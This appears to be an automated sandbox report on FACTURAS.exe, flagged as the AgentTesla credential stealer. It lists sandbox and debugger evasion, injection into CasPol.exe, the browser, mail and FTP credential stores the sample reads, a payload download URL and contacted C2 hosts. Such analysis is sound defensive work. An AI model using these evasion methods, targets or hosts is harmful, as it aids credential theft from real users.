Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect Any.run
Source: C:\Users\user\Desktop\FACTURAS.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\FACTURAS.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: CasPol.exe, 00000005.00000002.29205726663.0000000001450000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32APPDATA=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=11UPSPASQ_HHO9RISHTDNOTSECFD2CZSI
Source: FACTURAS.exe, 00000001.00000002.24599167037.0000000002C40000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32APPDATA=WINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CASPOL.EXE\SYSWOW64\MSVBVM60.DLLWINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CASPOL.EXE\SYSWOW64\MSVBVM60.DLL
Source: FACTURAS.exe, 00000001.00000002.24599167037.0000000002C40000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29205726663.0000000001450000.00000004.00000001.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: FACTURAS.exe, 00000001.00000002.24596626412.00000000006ED000.00000004.00000020.sdmp Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 6596 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Contains functionality to detect virtual machines (SMSW)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_013665E8 smsw word ptr [eax] 5_2_013665E8
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Window / User API: threadDelayed 9954 Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Contains functionality to detect virtual machines (SGDT)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_0104EA80 sgdt fword ptr [eax] 5_2_0104EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\FACTURAS.exe System information queried: ModuleInformation Jump to behavior
Source: FACTURAS.exe, 00000001.00000002.24599285509.0000000002D09000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29207543959.0000000002F29000.00000004.00000001.sdmp Binary or memory string: Hyper-V Guest Shutdown Service
Source: CasPol.exe, 00000005.00000002.29205726663.0000000001450000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32APPDATA=https://drive.google.com/uc?export=download&id=11UpsPasq_HHo9riShtDnotSECFd2czsi
Source: FACTURAS.exe, 00000001.00000002.24599285509.0000000002D09000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29207543959.0000000002F29000.00000004.00000001.sdmp Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: CasPol.exe, 00000005.00000002.29207543959.0000000002F29000.00000004.00000001.sdmp Binary or memory string: vmicshutdown
Source: FACTURAS.exe, 00000001.00000002.24599285509.0000000002D09000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29207543959.0000000002F29000.00000004.00000001.sdmp Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: FACTURAS.exe, 00000001.00000002.24596626412.00000000006ED000.00000004.00000020.sdmp Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe
Source: FACTURAS.exe, 00000001.00000002.24599285509.0000000002D09000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29207543959.0000000002F29000.00000004.00000001.sdmp Binary or memory string: Hyper-V PowerShell Direct Service
Source: FACTURAS.exe, 00000001.00000002.24599285509.0000000002D09000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29207543959.0000000002F29000.00000004.00000001.sdmp Binary or memory string: Hyper-V Time Synchronization Service
Source: CasPol.exe, 00000005.00000002.29207543959.0000000002F29000.00000004.00000001.sdmp Binary or memory string: vmicvss
Source: CasPol.exe, 00000005.00000002.29204294337.0000000001276000.00000004.00000020.sdmp, CasPol.exe, 00000005.00000002.29204597889.00000000012AA000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW
Source: CasPol.exe, 00000005.00000002.29203974975.0000000001238000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW(
Source: FACTURAS.exe, 00000001.00000002.24599167037.0000000002C40000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29205726663.0000000001450000.00000004.00000001.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: FACTURAS.exe, 00000001.00000002.24599285509.0000000002D09000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29207543959.0000000002F29000.00000004.00000001.sdmp Binary or memory string: Hyper-V Data Exchange Service
Source: FACTURAS.exe, 00000001.00000002.24599285509.0000000002D09000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29207543959.0000000002F29000.00000004.00000001.sdmp Binary or memory string: Hyper-V Heartbeat Service
Source: FACTURAS.exe, 00000001.00000002.24599285509.0000000002D09000.00000004.00000001.sdmp, CasPol.exe, 00000005.00000002.29207543959.0000000002F29000.00000004.00000001.sdmp Binary or memory string: Hyper-V Guest Service Interface
Source: CasPol.exe, 00000005.00000002.29207543959.0000000002F29000.00000004.00000001.sdmp Binary or memory string: vmicheartbeat
Source: FACTURAS.exe, 00000001.00000002.24599167037.0000000002C40000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32APPDATA=windir=\Microsoft.NET\Framework\v4.0.30319\caspol.exe\syswow64\msvbvm60.dllwindir=\Microsoft.NET\Framework\v4.0.30319\caspol.exe\syswow64\msvbvm60.dll

Anti Debugging:

barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\FACTURAS.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread information set: HideFromDebugger Jump to behavior
Enables debug privileges
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process token adjusted: Debug Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\FACTURAS.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 5_2_01046950 KiUserExceptionDispatcher,LdrInitializeThunk, 5_2_01046950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Writes to foreign memory regions
Source: C:\Users\user\Desktop\FACTURAS.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 1100000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\FACTURAS.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\FACTURAS.exe" Jump to behavior
Source: C:\Users\user\Desktop\FACTURAS.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\FACTURAS.exe" Jump to behavior
Source: CasPol.exe, 00000005.00000002.29207023162.0000000001AD1000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: CasPol.exe, 00000005.00000002.29207023162.0000000001AD1000.00000002.00020000.sdmp Binary or memory string: Progman
Source: CasPol.exe, 00000005.00000002.29207023162.0000000001AD1000.00000002.00020000.sdmp Binary or memory string: |Program Manager
Source: CasPol.exe, 00000005.00000002.29207023162.0000000001AD1000.00000002.00020000.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected AgentTesla
Source: Yara match File source: 00000005.00000002.29215652303.000000001E1A1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 1268, type: MEMORYSTR
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\ Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000005.00000002.29215652303.000000001E1A1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 1268, type: MEMORYSTR

Remote Access Functionality:

barindex
Yara detected AgentTesla
Source: Yara match File source: 00000005.00000002.29215652303.000000001E1A1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 1268, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 531838 Sample: FACTURAS.exe Startdate: 01/12/2021 Architecture: WINDOWS Score: 100 19 mail.furteksdokuma.com.tr 2->19 21 furteksdokuma.com.tr 2->21 23 3 other IPs or domains 2->23 31 Potential malicious icon found 2->31 33 Found malware configuration 2->33 35 Multi AV Scanner detection for submitted file 2->35 37 4 other signatures 2->37 8 FACTURAS.exe 1 2 2->8         started        signatures3 process4 signatures5 39 Writes to foreign memory regions 8->39 41 Tries to detect Any.run 8->41 43 Hides threads from debuggers 8->43 11 CasPol.exe 11 8->11         started        15 CasPol.exe 8->15         started        process6 dnsIp7 25 furteksdokuma.com.tr 116.202.203.61, 49815, 587 HETZNER-ASDE Germany 11->25 27 googlehosted.l.googleusercontent.com 142.250.185.129, 443, 49806 GOOGLEUS United States 11->27 29 drive.google.com 142.250.186.174, 443, 49805 GOOGLEUS United States 11->29 45 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 11->45 47 Tries to steal Mail credentials (via file / registry access) 11->47 49 Tries to harvest and steal ftp login credentials 11->49 55 3 other signatures 11->55 17 conhost.exe 11->17         started        51 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 15->51 53 Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines) 15->53 signatures8 process9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
142.250.185.129
 googlehosted.l.googleusercontent.com United States
15169 GOOGLEUS false
142.250.186.174
 drive.google.com United States
15169 GOOGLEUS false
116.202.203.61
 furteksdokuma.com.tr Germany
24940 HETZNER-ASDE true

Contacted Domains

Name IP Active
drive.google.com 142.250.186.174 true
googlehosted.l.googleusercontent.com 142.250.185.129 true
furteksdokuma.com.tr 116.202.203.61 true
mail.furteksdokuma.com.tr unknown unknown
doc-0c-6k-docs.googleusercontent.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://doc-0c-6k-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/8005s8f1oltsnuahdkbclh0bd9255sdi/1638361575000/11612195336931281153/*/11UpsPasq_HHo9riShtDnotSECFd2czsi?e=download false
    		high